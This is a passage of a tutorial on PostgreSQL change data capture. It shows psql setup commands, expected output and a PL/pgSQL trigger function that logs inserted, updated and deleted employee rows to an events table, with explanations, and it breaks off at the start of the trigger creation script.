&lt;p&gt;Connect to the &lt;code&gt;cdc_destination&lt;/code&gt; database using &lt;code&gt;psql&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, execute both scripts directly from the project root directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_destination &lt;span class="nt"&gt;-f&lt;/span&gt; sql/06_create_destination_tables.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_destination &lt;span class="nt"&gt;-f&lt;/span&gt; sql/07_create_checkpoint_table.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute the scripts in this order: first create the destination &lt;code&gt;employees&lt;/code&gt; table, then create and initialize the checkpoint table.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 6: Verify Table Creation and Checkpoint Initialization
&lt;/h4&gt;

&lt;p&gt;The first script verifies that the destination &lt;code&gt;employees&lt;/code&gt; table exists.&lt;/p&gt;

&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; table_name
-------------
 employees
(1 row)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second script verifies that the checkpoint entry has been initialized.&lt;/p&gt;

&lt;p&gt;Expected output will be similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;     connector_name     | last_processed_event_id |         updated_at
------------------------+-------------------------+----------------------------
 employee-cdc-connector |                       0 | 2026-11-06 ...
(1 row)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The timestamp will reflect the time when the checkpoint row was created.&lt;/p&gt;

&lt;p&gt;Both destination tables are now ready.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;At this point, we have created the source and destination databases and all the tables required for our CDC pipeline.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Database&lt;/th&gt;
&lt;th&gt;Table&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc_source&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;employees&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores original employee records.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc_source&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cdc_events&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores captured database change events.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc_destination&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;employees&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores synchronized employee records.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc_destination&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cdc_checkpoint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tracks the connector's processing position.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In the next section, we will implement the PostgreSQL trigger-based CDC mechanism that captures employee INSERT, UPDATE, and DELETE operations and records them in the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Implementing CDC Using PostgreSQL Triggers
&lt;/h2&gt;

&lt;p&gt;In the previous section, we created the source and destination databases along with the tables required for our CDC pipeline.&lt;/p&gt;

&lt;p&gt;Now we will implement the change capture mechanism using PostgreSQL triggers.&lt;/p&gt;

&lt;p&gt;PostgreSQL triggers allow us to execute a function automatically when specified database operations occur. In our implementation, a trigger on the source &lt;code&gt;employees&lt;/code&gt; table captures INSERT, UPDATE, and DELETE operations and records the corresponding changes in the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;We will implement this using two SQL scripts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;03_create_cdc_function.sql&lt;/code&gt; – Defines the trigger function that captures employee changes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;04_create_cdc_trigger.sql&lt;/code&gt; – Creates the trigger that invokes the function whenever an employee record is modified.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  4.1 Creating the CDC Trigger Function
&lt;/h3&gt;

&lt;p&gt;The first step is to create a PostgreSQL trigger function named &lt;code&gt;capture_employee_changes()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This function determines which database operation occurred and records the corresponding employee data in the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/03_create_cdc_function.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 03_create_cdc_function.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create the CDC trigger function&lt;/span&gt;
&lt;span class="c1"&gt;-- Database: cdc_source&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;REPLACE&lt;/span&gt; &lt;span class="k"&gt;FUNCTION&lt;/span&gt; &lt;span class="n"&gt;capture_employee_changes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;RETURNS&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="err"&gt;$$&lt;/span&gt;
&lt;span class="k"&gt;BEGIN&lt;/span&gt;

    &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'INSERT'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

        &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;changed_data&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s1"&gt;'INSERT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;ELSIF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'UPDATE'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

        &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;changed_data&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s1"&gt;'UPDATE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;ELSIF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'DELETE'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

        &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;changed_data&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s1"&gt;'DELETE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;END&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;END&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="err"&gt;$$&lt;/span&gt; &lt;span class="k"&gt;LANGUAGE&lt;/span&gt; &lt;span class="n"&gt;plpgsql&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify function creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;routine_name&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;routines&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;routine_schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'public'&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;routine_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'capture_employee_changes'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Understanding the Trigger Function
&lt;/h4&gt;

&lt;p&gt;Let's understand the important parts of this function.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Function Declaration&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;REPLACE&lt;/span&gt; &lt;span class="k"&gt;FUNCTION&lt;/span&gt; &lt;span class="n"&gt;capture_employee_changes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;RETURNS&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="err"&gt;$$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CREATE OR REPLACE FUNCTION&lt;/code&gt; creates the function or replaces its existing definition.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;capture_employee_changes()&lt;/code&gt; is the function name.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;RETURNS TRIGGER&lt;/code&gt; indicates that this function is designed to be invoked by a PostgreSQL trigger.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$$&lt;/code&gt; marks the beginning and end of the function body.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The function is written using PostgreSQL's procedural language, PL/pgSQL.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Identifying the Database Operation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The function uses the PostgreSQL trigger variable &lt;code&gt;TG_OP&lt;/code&gt; to determine which operation caused the trigger to execute.&lt;/p&gt;

&lt;p&gt;It checks for three possible operations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;INSERT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UPDATE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DELETE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Based on the operation, the function captures the appropriate employee record and inserts a corresponding event into &lt;code&gt;cdc_events&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Handling INSERT Operations&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'INSERT'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

    &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;changed_data&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;'INSERT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a new employee record is inserted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TG_OP&lt;/code&gt; identifies the operation as &lt;code&gt;INSERT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NEW&lt;/code&gt; represents the newly inserted employee record.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NEW.id&lt;/code&gt; retrieves the employee ID.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;to_jsonb(NEW)&lt;/code&gt; converts the complete employee record into PostgreSQL's JSONB format.&lt;/li&gt;
&lt;li&gt;A new event is inserted into &lt;code&gt;cdc_events&lt;/code&gt; with the operation type &lt;code&gt;INSERT&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. Handling UPDATE Operations&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;ELSIF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'UPDATE'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

    &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;changed_data&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;'UPDATE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an existing employee record is updated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TG_OP&lt;/code&gt; identifies the operation as &lt;code&gt;UPDATE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NEW&lt;/code&gt; represents the updated employee record.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NEW.id&lt;/code&gt; identifies the employee.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;to_jsonb(NEW)&lt;/code&gt; captures the updated employee data.&lt;/li&gt;
&lt;li&gt;A new event is inserted into &lt;code&gt;cdc_events&lt;/code&gt; with the operation type &lt;code&gt;UPDATE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our implementation captures the complete updated record rather than only the columns that changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Handling DELETE Operations&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;ELSIF&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'DELETE'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;THEN&lt;/span&gt;

    &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;changed_data&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;'DELETE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;to_jsonb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an employee record is deleted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TG_OP&lt;/code&gt; identifies the operation as &lt;code&gt;DELETE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLD&lt;/code&gt; represents the employee record before deletion.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLD.id&lt;/code&gt; retrieves the employee ID.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;to_jsonb(OLD)&lt;/code&gt; converts the deleted record into JSONB format.&lt;/li&gt;
&lt;li&gt;A new event is inserted into &lt;code&gt;cdc_events&lt;/code&gt; with the operation type &lt;code&gt;DELETE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike INSERT and UPDATE, DELETE uses &lt;code&gt;OLD&lt;/code&gt; because the record no longer exists in the source table after the deletion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Understanding NEW and OLD&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PostgreSQL provides two special variables that are particularly important when working with row-level triggers.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NEW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Represents the new row being inserted or the updated row after an UPDATE operation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OLD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Represents the existing row before an UPDATE or DELETE operation.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In our implementation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;INSERT uses &lt;code&gt;NEW&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;UPDATE uses &lt;code&gt;NEW&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;DELETE uses &lt;code&gt;OLD&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;7. Returning from the Function&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The function returns &lt;code&gt;NEW&lt;/code&gt; for INSERT and UPDATE operations and &lt;code&gt;OLD&lt;/code&gt; for DELETE operations.&lt;/p&gt;

&lt;p&gt;It also contains a final &lt;code&gt;RETURN NULL&lt;/code&gt; as a fallback if none of the three operation conditions matches.&lt;/p&gt;

&lt;p&gt;Because this is an AFTER trigger, PostgreSQL does not use the returned row to modify the source table. The return value is effectively ignored for this trigger type.&lt;/p&gt;

&lt;h4&gt;
  
  
  Execute the SQL Script
&lt;/h4&gt;

&lt;p&gt;Connect to the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, execute the script directly from the project root directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source &lt;span class="nt"&gt;-f&lt;/span&gt; sql/03_create_cdc_function.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final query in the script verifies that the function was created successfully.&lt;/p&gt;

&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;       routine_name
---------------------------
 capture_employee_changes
(1 row)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CDC trigger function is now ready.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Creating the CDC Trigger
&lt;/h3&gt;

&lt;p&gt;Creating the trigger function alone does not activate change capture. We must also create a trigger on the source &lt;code&gt;employees&lt;/code&gt; table that invokes the function whenever an employee record is inserted, updated, or deleted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/04_create_cdc_trigger.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 04_create_cdc_trigger.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create the CDC trigger on employees table&lt;/span&gt;
&lt;span class="c1"&gt;-- Database: cdc_source&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;-- Remove the trigger if it already exists.&lt;/span&gt;
&lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;employee_changes_trigger&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the CDC trigger.&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="n"&gt;employee_changes_trigger&lt;/span&gt;
